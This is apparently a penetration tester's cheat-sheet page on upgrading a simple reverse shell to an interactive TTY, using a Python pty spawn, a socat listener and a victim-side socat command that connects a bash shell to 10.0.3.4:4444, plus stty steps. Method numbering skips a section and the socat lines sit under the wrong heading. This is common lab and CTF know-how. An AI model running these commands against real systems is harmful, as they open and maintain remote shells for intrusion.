# Upgrading Simple Shells to Fully Interactive TTYs

## Method 1: Python pty module <a href="#method-1-python-pty-module" id="method-1-python-pty-module"></a>

<table data-header-hidden><thead><tr><th></th></tr></thead><tbody><tr><td><pre class="language-bash"><code class="lang-bash">python -c 'import pty; pty.spawn("/bin/bash")'
</code></pre></td></tr></tbody></table>

**On Kali (listen)**:

<table data-header-hidden><thead><tr><th></th></tr></thead><tbody><tr><td><pre class="language-bash"><code class="lang-bash">socat file:`tty`,raw,echo=0 tcp-listen:4444
</code></pre></td></tr></tbody></table>

**On Victim (launch)**:

<table data-header-hidden><thead><tr><th></th></tr></thead><tbody><tr><td><pre class="language-bash"><code class="lang-bash">socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
</code></pre></td></tr></tbody></table>

## Method 3: Upgrading from netcat with magic <a href="#method-3-upgrading-from-netcat-with-magic" id="method-3-upgrading-from-netcat-with-magic"></a>

\


**Using stty options**

<table data-header-hidden><thead><tr><th width="87.5"></th><th></th></tr></thead><tbody><tr><td><pre><code> 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
</code></pre></td><td><pre class="language-bash"><code class="lang-bash"># In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Kali
$ stty raw -echo
$ fg

# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows &#x3C;num> columns &#x3C;cols>
</code></pre></td></tr></tbody></table>

<figure><img src="https://3256200453-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdgBjVj5SEIGGByUujC8x%2Fuploads%2F1oSNYcWbyux2tq00wMHN%2Fimage.png?alt=media&#x26;token=350b6784-0abd-45d1-811e-95d106ddef09" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3256200453-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdgBjVj5SEIGGByUujC8x%2Fuploads%2FxL7yZNI4K3aWwRmV2aXl%2Fimage.png?alt=media&#x26;token=32ed4338-216e-4568-a5e9-6e41c743888e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3256200453-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdgBjVj5SEIGGByUujC8x%2Fuploads%2F3XbHWW84yIqfJQul9ZSv%2Fimage.png?alt=media&#x26;token=95e60b62-a9ba-435b-9ef6-128694370721" alt=""><figcaption></figcaption></figure>

## Ref:

{% embed url="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#generating-reverse-shell-commands" %}
